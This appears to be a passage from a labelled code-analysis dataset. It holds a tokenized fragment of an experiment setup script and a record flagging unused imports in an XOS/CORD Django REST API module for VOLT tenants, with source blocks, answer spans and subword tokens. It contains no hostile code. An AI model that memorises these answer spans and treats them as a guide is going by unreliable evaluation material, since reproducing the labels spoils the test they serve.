"log", "\\u", "config_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logging_", "._", "config_", "._", "file", "Config_", "(_", "args_", "._", "log", "\\u", "config_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logging_", "._", "basic", "Config_", "(_", "level_", "=_", "logging_", "._", "DEBUG_", "if_", "args_", "._", "verbose_", "else_", "logging_", "._", "INFO_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "specified", ",", " ", "set", " ", "up", " ", "a", " ", "config", " ", "file", " ", "for", " ", "each", " ", "controller_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "controlle", "r", "\\u", "config_", "in_", "config_", "._", "simulati", "on", "\\u", "config_", "._", "controlle", "r", "\\u", "configs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "controlle", "r", "\\u", "config_", "._", "config", "\\u", "template_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "controlle", "r", "\\u", "config_", "._", "generat", "e\\u", "config", "\\u", "file_", "(_", "config_", "._", "results", "\\u", "dir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Make", " ", "sure", " ", "tha", "t", " ", "there", " ", "are", " ", "no", " ", "uncomm", "ited", " ", "changes_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "args_", "._", "publish_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "exp", "\\u", "lifecycle", "_", "._", "publi", "sh", "\\u", "prepare_", "(_", "config_", "._", "exp", "\\u", "name_", ",_", "config_", "._", "results", "\\u", "dir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Record", " ", "machine", " ", "informati", "on", " ", "for", " ", "this", " ", "experiment_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "addition", "al", "\\u", "metadata_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "config_", ",_", "\"", "get", "\\u", "addition", "al", "\\u", "metadata", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "addition", "al", "\\u", "metadata_", "=_", "config_", "._", "get", "\\u", "addition", "al", "\\u", "metadata_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "exp", "\\u", "lifecycle", "_", "._", "dump", "\\u", "metadata_", "(_", "\"%", "s", "/", "metadata", "\"_", "%_", "config_", "._", "results", "\\u", "dir_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "addition", "al", "\\u", "metadata_", "=_", "addition", "al", "\\u", "metadata_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", " ", "over", " ", "config", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "config", "\\u", "file_", "=_", "re_", "._", "sub_", "(_", "r", "'\\\\.", "pyc", "$'_", ",_", "'.", "py", "'_", ",_", "config_", "._", "\\u\\u", "file\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "os_", "._", "path_", "._", "exists_", "(_", "config", "\\u", "file_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "canonical", "\\u", "config", "\\u", "file_", "=_", "config_", "._", "results", "\\u", "dir_", "+_", "\"/", "orig", "\\u", "config", ".", "py", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "os_", "._", "path_", "._", "abspath_", "(_", "config", "\\u", "file_", ")_", "!=_", "os_", "._", "path_", "._", "abspath_", "(_", "canonical", "\\u", "config", "\\u", "file_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "shutil_", "._", "copy_", "(_", "config", "\\u", "file_", ",_", "canonical", "\\u", "config", "\\u", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Check", " ", "configura", "tion", " ", "warnings_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "log_", "=_", "logging_", "._", "get", "Logger_", "(_", "\"", "setup", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "con_", "=_", "config_", "._", "control", "\\u", "flow_", "._", "simulati", "on", "\\u", "cfg_", "._", "controlle", "r", "\\u", "configs_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "bui", "lti", "n", "\\u", "po", "x", "\\u", "controller_", "(_", "c_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "po", "x", "/", " ", "is", " ", "alr", "ead", "y", " ", "account", "ed", " ", "for", " ", "in", " ", "metadata", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "(_", "\"", "PO", "XC", "ontr", "olle", "r", "\"_", "in_", "str_", "(_", "c_", "._", "controlle", "r", "\\u", "class_", ")_", "and_", "\\u\\u\\uNL\\u\\u\\u_", "c_", "._", "cwd_", "is_", "not_", "None_", "and_", "\\u\\u\\uNL\\u\\u\\u_", "re_", "._", "match_", "(_", "\"", "^", "po", "x", "[", "/]", "?\"_", ",_", "c_", "._", "cwd_", ")_", "is_", "not_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "not_", "hasattr_", "(_", "config_", ",_", "\"", "get", "\\u", "addition", "al", "\\u", "metadata", "\"_", ")_", "and_", "\\u\\u\\uNL\\u\\u\\u_", "find_", "(_", "lambda_", "c_", ":_", "not_", "bui", "lti", "n", "\\u", "po", "x", "\\u", "controller_", "(_", "c_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "config_", "._", "control", "\\u", "flow_", "._", "simulati", "on", "\\u", "cfg_", "._", "controlle", "r", "\\u", "configs_", ")_", "is_", "not_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log_", "._", "warn_", "(_", "'''", "No", " ", "get", "\\u", "addition", "al", "\\u", "metadata", "()", " ", "defin", "ed", " ", "for", " ", "config", " ", "file", ".", " ", "See", " ", "'''_", "\\u\\u\\uNL\\u\\u\\u_", "'''", "config", "/", "nox", "\\u", "routin", "g", ".", "py", " ", "for", " ", "an", " ", "example", ".'''_", ")_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
open-cloud/xos/xos/core/xoslib/methods/volttenant.py
[ { "content": "from rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom rest_framework.reverse import reverse\nfrom rest_framework import serializers\nfrom rest_framework import generics\nfrom rest_framework import status\nfrom core.models import *\nfrom django.forms import widgets\nfrom services.cord.models import VOLTTenant, VOLTService, CordSubscriberRoot\nfrom plus import PlusSerializerMixin\nfrom xos.apibase import XOSListCreateAPIView, XOSRetrieveUpdateDestroyAPIView, XOSPermissionDenied\n\nif hasattr(serializers, \"ReadOnlyField\"):\n # rest_framework 3.x\n ReadOnlyField = serializers.ReadOnlyField\nelse:\n # rest_framework 2.x\n ReadOnlyField = serializers.Field\n\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def get_default_volt_service():\n volt_services = VOLTService.get_service_objects().all()\n if volt_services:\n return volt_services[0].id\n return None", "metadata": "root.get_default_volt_service", "header": "['module', '___EOS___']", "index": 19 }, { "content": "class VOLTTenantIdSerializer(serializers.ModelSerializer, PlusSerializerMixin):\n id = ReadOnlyField()\n service_specific_id = serializers.CharField()\n s_tag = serializers.CharField()\n c_tag = serializers.CharField()\n provider_service = serializers.PrimaryKeyRelatedField(queryset=VOLTService.get_service_objects().all(), default=get_default_volt_service)\n subscriber_root = serializers.PrimaryKeyRelatedField(queryset=CordSubscriberRoot.get_tenant_objects().all(), required=False)\n\n humanReadableName = serializers.SerializerMethodField(\"getHumanReadableName\")\n\n computeNodeName = serializers.SerializerMethodField(\"getComputeNodeName\")\n\n class Meta:\n model = VOLTTenant\n fields = ('humanReadableName', 'id', 'provider_service', 'service_specific_id', 's_tag', 'c_tag', 'computeNodeName', 'subscriber_root' )\n\n", "metadata": "root.VOLTTenantIdSerializer", "header": "['module', '___EOS___']", "index": 25 }, { "content": " def getHumanReadableName(self, obj):\n return obj.__unicode__()", "metadata": "root.VOLTTenantIdSerializer.getHumanReadableName", "header": "['class', 'VOLTTenantIdSerializer', '(', 'serializers', '.', 'ModelSerializer', ',', 'PlusSerializerMixin', ')', ':', '___EOS___']", "index": 41 }, { "content": " def getComputeNodeName(self, obj):\n vcpe = obj.vcpe\n if not vcpe:\n return None\n instance = vcpe.instance\n if not instance:\n return None\n return instance.node.name", "metadata": "root.VOLTTenantIdSerializer.getComputeNodeName", "header": "['class', 'VOLTTenantIdSerializer', '(', 'serializers', '.', 'ModelSerializer', ',', 'PlusSerializerMixin', ')', ':', '___EOS___']", "index": 44 }, { "content": "class VOLTTenantList(XOSListCreateAPIView):\n serializer_class = VOLTTenantIdSerializer\n\n method_kind = \"list\"\n method_name = \"volttenant\"\n\n", "metadata": "root.VOLTTenantList", "header": "['module', '___EOS___']", "index": 53 }, { "content": " def get_queryset(self):\n queryset = VOLTTenant.get_tenant_objects().select_related().all()\n\n service_specific_id = self.request.query_params.get('service_specific_id', None)\n if service_specific_id is not None:\n queryset = queryset.filter(service_specific_id=service_specific_id)\n\n# vlan_id = self.request.query_params.get('vlan_id', None)\n# if vlan_id is not None:\n# ids = [x.id for x in queryset if x.get_attribute(\"vlan_id\", None)==vlan_id]\n# queryset = queryset.filter(id__in=ids)\n\n c_tag = self.request.query_params.get('c_tag', None)\n if c_tag is not None:\n ids = [x.id for x in queryset if x.get_attribute(\"c_tag\", None)==c_tag]\n queryset = queryset.filter(id__in=ids)\n\n s_tag = self.request.query_params.get('s_tag', None)\n if s_tag is not None:\n ids = [x.id for x in queryset if x.get_attribute(\"s_tag\", None)==s_tag]\n queryset = queryset.filter(id__in=ids)\n\n return queryset", "metadata": "root.VOLTTenantList.get_queryset", "header": "['class', 'VOLTTenantList', '(', 'XOSListCreateAPIView', ')', ':', '___EOS___']", "index": 59 }, { "content": " def post(self, request, format=None):\n data = request.DATA\n\n existing_obj = None\n for obj in VOLTTenant.get_tenant_objects().all():\n if (obj.c_tag == data.get(\"c_tag\", None)) and (obj.s_tag == data.get(\"s_tag\", None)) and (obj.service_specific_id == data.get(\"service_specific_id\",None)):\n existing_obj = obj\n\n if existing_obj:\n serializer = VOLTTenantIdSerializer(existing_obj)\n headers = self.get_success_headers(serializer.data)\n return Response( serializer.data, status=status.HTTP_200_OK )\n\n return super(VOLTTenantList, self).post(request, format)", "metadata": "root.VOLTTenantList.post", "header": "['class', 'VOLTTenantList', '(', 'XOSListCreateAPIView', ')', ':', '___EOS___']", "index": 83 }, { "content": "class VOLTTenantDetail(XOSRetrieveUpdateDestroyAPIView):\n serializer_class = VOLTTenantIdSerializer\n queryset = VOLTTenant.get_tenant_objects().select_related().all()\n\n method_kind = \"detail\"\n method_name = \"volttenant\"", "metadata": "root.VOLTTenantDetail", "header": "['module', '___EOS___']", "index": 98 } ]
[ { "span": "from rest_framework.decorators import api_view", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 46 }, { "span": "from rest_framework.reverse import reverse", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 42 }, { "span": "from rest_framework import generics", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 35 }, { "span": "from django.forms import widgets", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 32 }, { "span": "from xos.apibase import XOSListCreateAPIView, XOSRetrieveUpdateDestroyAPIView, XOSPermissionDenied", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 98 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "rest", "\\u", "framework_", "._", "decorators_", "import_", "api", "\\u", "view_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "rest", "\\u", "framework_", "._", "response_", "import_", "Response_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "rest", "\\u", "framework_", "._", "reverse_", "import_", "reverse_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "rest", "\\u", "framework_", "import_", "serializers_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "rest", "\\u", "framework_", "import_", "generics_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "rest", "\\u", "framework_", "import_", "status_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "core_", "._", "models_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "forms_", "import_", "widgets_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "services_", "._", "cord", "_", "._", "models_", "import_", "VOLT", "Ten", "ant_", ",_", "VOLT", "Service_", ",_", "Cor", "d", "Subscrib", "er", "Root_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "plus_", "import_", "Plus", "Seriali", "zer", "Mixin_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "xo", "s_", "._", "api", "base_", "import_", "XO", "SL", "ist", "Creat", "e", "API", "View_", ",_", "XO", "SR", "etri", "eve", "Update", "Destr", "oy", "API", "View_", ",_", "XO", "SP", "erm", "ission", "Denied_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "hasattr_", "(_", "serializers_", ",_", "\"", "Read", "On", "ly", "Field", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "rest", "\\u", "frame", "work", " ", "3", ".", "x_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Read", "On", "ly", "Field_", "=_", "serializers_", "._", "Read", "On", "ly", "Field_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "rest", "\\u", "frame", "work", " ", "2", ".", "x_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Read", "On", "ly", "Field_", "=_", "serializers_", "._", "Field_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "default", "\\u", "volt", "\\u", "service_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "volt", "\\u", "services_", "=_", "VOLT", "Service_", "._", "get", "\\u", "service", "\\u", "objects_", "(_", ")_", "._", "all_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "volt", "\\u", "services_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "volt", "\\u", "services_", "[_", "0_", "]_", "._", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "VOLT", "Ten", "ant", "Id", "Serializer_", "(_", "serializers_", "._", "Model", "Serializer_", ",_", "Plus", "Seriali", "zer", "Mixin_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "id_", "=_", "Read", "On", "ly", "Field_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "service", "\\u", "specific", "\\u", "id_", "=_", "serializers_", "._", "Char", "Field_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s", "\\u", "tag_", "=_", "serializers_", "._", "Char", "Field_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c\\u", "tag_", "=_", "serializers_", "._", "Char", "Field_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "provide", "r", "\\u", "service_", "=_", "serializers_", "._", "Prim", "ary", "Key", "Rela", "ted", "Field_", "(_", "queryset_", "=_", "VOLT", "Service_", "._", "get", "\\u", "service", "\\u", "objects_", "(_", ")_", "._", "all_", "(_", ")_", ",_", "default_", "=_", "get", "\\u", "default", "\\u", "volt", "\\u", "service_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subscribe", "r", "\\u", "root_", "=_", "serializers_", "._", "Prim", "ary", "Key", "Rela", "ted", "Field_", "(_", "queryset_", "=_", "Cor", "d", "Subscrib", "er", "Root_", "._", "get", "\\u", "tenan", "t", "\\u", "objects_", "(_", ")_", "._", "all_", "(_", ")_", ",_", "required_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "human", "Read", "able", "Name_", "=_", "serializers_", "._", "Seriali", "zer", "Meth", "od", "Field_", "(_", "\"", "get", "Huma", "n", "Read", "able", "Name", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "compute", "Node", "Name_", "=_", "serializers_", "._", "Seriali", "zer", "Meth", "od", "Field_", "(_", "\"", "get", "Compute", "Node", "Name", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Meta_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "model_", "=_", "VOLT", "Ten", "ant_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fields_", "=_", "(_", "'", "human", "Read", "able", "Name", "'_", ",_", "'", "id", "'_", ",_", "'", "provide", "r", "\\u", "service", "'_", ",_", "'", "service", "\\u", "specific", "\\u", "id", "'_", ",_", "'", "s", "\\u", "tag", "'_", ",_", "'", "c\\u", "tag", "'_", ",_", "'", "compute", "Node", "Name", "'_", ",_", "'", "subscribe", "r", "\\u", "root", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "VOLT", "Ten", "ant", "Id", "Serializer_", "(_", "serializers_", "._", "Model", "Serializer_", ",_", "Plus", "Seriali", "zer", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Huma", "n", "Read", "able", "Name_", "(_", "self_", ",_", "obj_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "obj_", "._", "\\u\\u", "unicode\\u\\u_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "VOLT", "Ten", "ant", "Id", "Serializer_", "(_", "serializers_", "._", "Model", "Serializer_", ",_", "Plus", "Seriali", "zer", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Compute", "Node", "Name_", "(_", "self_", ",_", "obj_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "vc", "pe_", "=_", "obj_", "._", "vc", "pe_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "vc", "pe_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "instance_", "=_", "vc", "pe_", "._", "instance_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "instance_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "instance_", "._", "node_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "VOLT", "Ten", "ant", "List_", "(_", "XO", "SL", "ist", "Creat", "e", "API", "View_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "serialize", "r", "\\u", "class_", "=_", "VOLT", "Ten", "ant", "Id", "Serializer_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "method", "\\u", "kind_", "=_", "\"", "list", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "method", "\\u", "name_", "=_", "\"", "volt", "tenan", "t", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "VOLT", "Ten", "ant", "List_", "(_", "XO", "SL", "ist", "Creat", "e", "API", "View_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "get", "\\u", "queryset_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "queryset_", "=_", "VOLT", "Ten", "ant_", "._", "get", "\\u", "tenan", "t", "\\u", "objects_", "(_", ")_", "._", "select", "\\u", "related_", "(_", ")_", "._", "all_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "service", "\\u", "specific", "\\u", "id_", "=_", "self_", "._", "request_", "._", "query", "\\u", "params_", "._", "get_", "(_", "'", "service", "\\u", "specific", "\\u", "id", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "service", "\\u", "specific", "\\u", "id_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "queryset_", "=_", "queryset_", "._", "filter_", "(_", "service", "\\u", "specific", "\\u", "id_", "=_", "service", "\\u", "specific", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "vlan", "\\u", "id", " ", "=", " ", "self", ".", "request", ".", "query", "\\u", "params", ".", "get", "('", "vlan", "\\u", "id", "',", " ", "Non", "e", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "if", " ", "vlan", "\\u", "id", " ", "is", " ", "not", " ", "Non", "e", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "ids", " ", "=", " ", "[", "x", ".", "id", " ", "for", " ", "x", " ", "in", " ", "querys", "et", " ", "if", " ", "x", ".", "get", "\\u", "attribute", "(\"", "vlan", "\\u", "id", "\",", " ", "Non", "e", ")=", "=", "vlan", "\\u", "id", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "querys", "et", " ", "=", " ", "querys", "et", ".", "filter", "(", "id", "\\u\\u", "in", "=", "ids", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "c\\u", "tag_", "=_", "self_", "._", "request_", "._", "query", "\\u", "params_", "._", "get_", "(_", "'", "c\\u", "tag", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "c\\u", "tag_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ids_", "=_", "[_", "x_", "._", "id_", "for_", "x_", "in_", "queryset_", "if_", "x_", "._", "get", "\\u", "attribute_", "(_", "\"", "c\\u", "tag", "\"_", ",_", "None_", ")_", "==_", "c\\u", "tag_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "queryset_", "=_", "queryset_", "._", "filter_", "(_", "id", "\\u\\u", "in_", "=_", "ids_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "s", "\\u", "tag_", "=_", "self_", "._", "request_", "._", "query", "\\u", "params_", "._", "get_", "(_", "'", "s", "\\u", "tag", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "s", "\\u", "tag_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ids_", "=_", "[_", "x_", "._", "id_", "for_", "x_", "in_", "queryset_", "if_", "x_", "._", "get", "\\u", "attribute_", "(_", "\"", "s", "\\u", "tag", "\"_", ",_", "None_", ")_", "==_", "s", "\\u", "tag_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "queryset_", "=_", "queryset_", "._", "filter_", "(_", "id", "\\u\\u", "in_", "=_", "ids_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "queryset_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "VOLT", "Ten", "ant", "List_", "(_", "XO", "SL", "ist", "Creat", "e", "API", "View_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", 